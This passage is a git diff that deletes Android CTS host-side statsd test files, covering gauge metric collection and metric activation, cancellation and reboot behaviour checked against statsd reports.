-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
-        assertThat(metricReport.hasDurationMetrics()).isTrue();
-        StatsLogReport.DurationMetricDataWrapper durationData
-                = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(1);
-        for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
-            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long)1e9));
-        }
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
deleted file mode 100644
index 2280e13..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-public class GaugeMetricsTests extends DeviceAtomTestCase {
-
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
-  private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
-  private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
-  public void testGaugeMetric() throws Exception {
-      // Add AtomMatcher's.
-      AtomMatcher startAtomMatcher =
-          MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
-      AtomMatcher stopAtomMatcher =
-          MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
-      AtomMatcher atomMatcher =
-          MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(startAtomMatcher);
-      builder.addAtomMatcher(stopAtomMatcher);
-      builder.addAtomMatcher(atomMatcher);
-
-      // Add Predicate's.
-      SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                                            .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                                            .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                                            .build();
-      Predicate predicate = Predicate.newBuilder()
-                                .setId(MetricsUtils.StringToId("Predicate"))
-                                .setSimplePredicate(simplePredicate)
-                                .build();
-      builder.addPredicate(predicate);
-
-      // Add GaugeMetric.
-      FieldMatcher fieldMatcher =
-          FieldMatcher.newBuilder().setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID).build();
-      builder.addGaugeMetric(
-          StatsdConfigProto.GaugeMetric.newBuilder()
-              .setId(MetricsUtils.GAUGE_METRIC_ID)
-              .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-              .setCondition(predicate.getId())
-              .setGaugeFieldsFilter(
-                  FieldFilter.newBuilder().setIncludeAll(false).setFields(fieldMatcher).build())
-              .setDimensionsInWhat(
-                  FieldMatcher.newBuilder()
-                      .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                      .addChild(FieldMatcher.newBuilder()
-                                    .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                    .build())
-                      .build())
-              .setBucket(StatsdConfigProto.TimeUnit.CTS)
-              .build());
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Create AppBreadcrumbReported Start/Stop events.
-      doAppBreadcrumbReportedStart(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(0);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-      doAppBreadcrumbReportedStart(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(2000);
-      doAppBreadcrumbReportedStop(2);
-      Thread.sleep(10);
-      doAppBreadcrumbReportedStop(1);
-
-      // Wait for the metrics to propagate to statsd.
-      Thread.sleep(2000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isTrue();
-      StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-      assertThat(gaugeData.getDataCount()).isEqualTo(1);
-
-      int bucketCount = gaugeData.getData(0).getBucketInfoCount();
-      GaugeMetricData data = gaugeData.getData(0);
-      assertThat(bucketCount).isGreaterThan(2);
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
-      assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(0);
-      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.START);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
-      assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
-
-      MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
-      assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
-              .isEqualTo(2);
-      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
-              .isEqualTo(AppBreadcrumbReported.State.STOP);
-  }
-
-  public void testPulledGaugeMetricWithActivation() throws Exception {
-      // Add AtomMatcher's.
-      int activationAtomMatcherId = 1;
-      int activationAtomMatcherLabel = 1;
-
-      int systemUptimeMatcherId = 2;
-      AtomMatcher activationAtomMatcher =
-              MetricsUtils.appBreadcrumbMatcherWithLabel(
-                      activationAtomMatcherId, activationAtomMatcherLabel);
-      AtomMatcher systemUptimeMatcher =
-              AtomMatcher.newBuilder()
-                      .setId(systemUptimeMatcherId)
-                      .setSimpleAtomMatcher(
-                              SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                      .build();
-
-      StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-      builder.addAtomMatcher(activationAtomMatcher);
-      builder.addAtomMatcher(systemUptimeMatcher);
-
-      // Add GaugeMetric.
-      builder.addGaugeMetric(
-              StatsdConfigProto.GaugeMetric.newBuilder()
-                      .setId(MetricsUtils.GAUGE_METRIC_ID)
-                      .setWhat(systemUptimeMatcherId)
-                      .setGaugeFieldsFilter(
-                              FieldFilter.newBuilder().setIncludeAll(true).build())
-                      .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                      .build());
-
-      // Add activation.
-      builder.addMetricActivation(MetricActivation.newBuilder()
-              .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-              .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-              .addEventActivation(EventActivation.newBuilder()
-                    .setAtomMatcherId(activationAtomMatcherId)
-                    .setTtlSeconds(5)));
-
-      // Upload config.
-      uploadConfig(builder);
-
-      // Plenty of time to pull, but we should not keep the data since we are not active.
-      Thread.sleep(20_000);
-
-      StatsLogReport metricReport = getStatsLogReport();
-      LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-      assertThat(metricReport.hasGaugeMetrics()).isFalse();
-  }
-
-    public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add GaugeMetric.
-        builder
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(MetricsUtils.GAUGE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.CTS)
-                        .setCondition(predicate.getId())
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setIncludeAll(false).setFields(
-                                        FieldMatcher.newBuilder()
-                                                .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                )
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // This value is collected.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Ignored; value already collected.
-        doAppBreadcrumbReported(20);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Value not updated because condition is false.
-        doAppBreadcrumbReported(30);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(40);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Value not collected.
-        doAppBreadcrumbReported(50);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Value collected.
-        doAppBreadcrumbReported(60);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Value not collected.
-        doAppBreadcrumbReported(70);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
-        assertThat(metricReport.hasGaugeMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-        assertThat(gaugeData.getDataCount()).isEqualTo(1);
-        assertThat(gaugeData.getData(0).getBucketInfoCount()).isEqualTo(2);
-
-        GaugeBucketInfo bucketInfo = gaugeData.getData(0).getBucketInfo(0);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(10);
-
-        bucketInfo = gaugeData.getData(0).getBucketInfo(1);
-        MetricsUtils.assertBucketTimePresent(bucketInfo);
-        assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
-        assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(60);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
deleted file mode 100644
index 339970a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ /dev/null
@@ -1,566 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Test Statsd Metric activations and deactivations
- */
-public class MetricActivationTests extends DeviceAtomTestCase {
-    private final long metric1Id = 1L;
-    private final int metric1MatcherId = 1;
-
-    private final long metric2Id = 2L;
-    private final int metric2MatcherId = 2;
-
-    private final long metric3Id = 3L;
-    private final int metric3MatcherId = 3;
-
-    private final int act1MatcherId = 10;
-    private final int act1CancelMatcherId = -10;
-
-    private final int act2MatcherId = 20;
-    private final int act2CancelMatcherId = -20;
-
-
-    private StatsdConfig.Builder createConfig(final int act1TtlSecs, final int act2TtlSecs) {
-        AtomMatcher metric1Matcher =
-                MetricsUtils.simpleAtomMatcher(metric1MatcherId, metric1MatcherId);
-        AtomMatcher metric2Matcher =
-                MetricsUtils.simpleAtomMatcher(metric2MatcherId, metric2MatcherId);
-        AtomMatcher metric3Matcher =
-                MetricsUtils.simpleAtomMatcher(metric3MatcherId, metric3MatcherId);
-        AtomMatcher act1Matcher =
-                MetricsUtils.simpleAtomMatcher(act1MatcherId, act1MatcherId);
-        AtomMatcher act1CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act1CancelMatcherId, act1CancelMatcherId);
-        AtomMatcher act2Matcher =
-                MetricsUtils.simpleAtomMatcher(act2MatcherId, act2MatcherId);
-        AtomMatcher act2CancelMatcher =
-                MetricsUtils.simpleAtomMatcher(act2CancelMatcherId, act2CancelMatcherId);
-
-        EventMetric metric1 = EventMetric.newBuilder()
-                .setId(metric1Id)
-                .setWhat(metric1MatcherId)
-                .build();
-
-        EventMetric metric2 = EventMetric.newBuilder()
-                .setId(metric2Id)
-                .setWhat(metric2MatcherId)
-                .build();
-
-        EventMetric metric3 = EventMetric.newBuilder()
-                .setId(metric3Id)
-                .setWhat(metric3MatcherId)
-                .build();
-
-        EventActivation metric1Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        EventActivation metric1Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act1 =
-                MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
-                    .build();
-
-        EventActivation metric2Act2 =
-                MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
-                    .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                    .build();
-
-        MetricActivation metric1Activation = MetricActivation.newBuilder()
-                .setMetricId(metric1Id)
-                .addEventActivation(metric1Act1)
-                .addEventActivation(metric1Act2)
-                .build();
-
-        MetricActivation metric2Activation = MetricActivation.newBuilder()
-                .setMetricId(metric2Id)
-                .addEventActivation(metric2Act1)
-                .addEventActivation(metric2Act2)
-                .build();
-
-        return createConfigBuilder()
-                .addAtomMatcher(metric1Matcher)
-                .addAtomMatcher(metric2Matcher)
-                .addAtomMatcher(metric3Matcher)
-                .addAtomMatcher(act1Matcher)
-                .addAtomMatcher(act1CancelMatcher)
-                .addAtomMatcher(act2Matcher)
-                .addAtomMatcher(act2CancelMatcher)
-                .addEventMetric(metric1)
-                .addEventMetric(metric2)
-                .addEventMetric(metric3)
-                .addMetricActivation(metric1Activation)
-                .addMetricActivation(metric2Activation);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 5 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 8 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testCancellation() throws Exception {
-        final int act1TtlSecs = 5;
-        final int act2TtlSecs = 8;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger cancel for already inactive event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Second logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 1.
-        doAppBreadcrumbReported(act1CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Ignored, metric not active.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 1.
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Cancel event activation 2.
-        doAppBreadcrumbReported(act2CancelMatcherId);
-        Thread.sleep(10L);
-
-        // Fourth logged event.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Expire event activation 1
-        Thread.sleep(act1TtlSecs * 1000);
-
-        // Ignored, metric 1 not active. Activation 1 expired and Activation 2 was cancelled.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // Trigger event activation 2.
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 log ignored, Activation 1 expired and Activation 2 needs reboot to activate.
-        doAppBreadcrumbReported(metric1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 3.
-        doAppBreadcrumbReported(metric3MatcherId);
-        Thread.sleep(10L);
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 4, 0, 1);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testRestart() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Second logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L);
-
-        // Metric 1 event ignored, Activation 1 expired.
-        // Metric 2 event ignored, Activation 1 expired.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 2 and Metric 2 Activation 2.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act2MatcherId);
-        Thread.sleep(10L);
-
-        // Metric 1 event ignored, will activate after boot.
-        // Second logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 400 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Third logged event for Metric 2.
-        // Fifth logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds (will activate after boot)
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 300 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 400 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 300 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // Fourth logged event for Metric 2.
-        // Sixth logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire Metric 1 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 300 seconds
-        // Metric 2 Activation 1: 100 seconds
-        // Metric 2 Activation 2: 200 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Fifth logged event for Metric 1.
-        // Fifth logged event for Metric 2.
-        // Seventh logged event for Metric 3.
-        logAllMetrics();
-
-        // Expire all activations.
-        // Time remaining:
-        // Metric 1 Activation 1: 0 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act2TtlSecs * 1000L);
-
-        // Metric 1 event ignored.
-        // Metric 2 event ignored.
-        // Eighth logged event for Metric 3.
-        logAllMetrics();
-
-        ConfigMetricsReportList reportList = getReportList();
-        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertThat(reports).hasSize(3);
-
-        // Report before restart.
-        ConfigMetricsReport report = reports.get(0);
-        verifyMetrics(report, 1, 0, 1);
-
-        // Report after first restart.
-        report = reports.get(1);
-        verifyMetrics(report, 2, 3, 4);
-
-        // Report after second restart.
-        report = reports.get(2);
-        verifyMetrics(report, 2, 2, 3);
-    }
-
-    /**
-     * Metric 1:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: IMMEDIATE
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: ON_BOOT
-     *
-     * Metric 2:
-     *     Activation 1:
-     *         - Ttl: 100 seconds
-     *         - Type: ON_BOOT
-     *     Activation 2:
-     *         - Ttl: 200 seconds
-     *         - Type: IMMEDIATE
-     *
-     * Metric 3: No activations; always active
-     **/
-    public void testMultipleActivations() throws Exception {
-        final int act1TtlSecs = 200;
-        final int act2TtlSecs = 400;
-        uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // First logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // First logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 100 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        Thread.sleep(act1TtlSecs * 1000L / 2);
-
-        // Second logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Second logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 0 seconds (will activate after boot)
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
-        Thread.sleep(10L);
-
-        // Third logged event for Metric 1.
-        // Metric 2 event ignored, will activate after boot.
-        // Third logged event for Metric 3.
-        logAllMetrics();
-
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        rebootDeviceAndWaitUntilReady();
-
-        // Fourth logged event for Metric 1.
-        // First logged event for Metric 2.
-        // Fourth logged event for Metric 3.
-        logAllMetrics();
-
-        // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
-        // Time remaining:
-        // Metric 1 Activation 1: 200 seconds
-        // Metric 1 Activation 2: 0 seconds
-        // Metric 2 Activation 1: 200 seconds
-        // Metric 2 Activation 2: 0 seconds
-        doAppBreadcrumbReported(act1MatcherId);
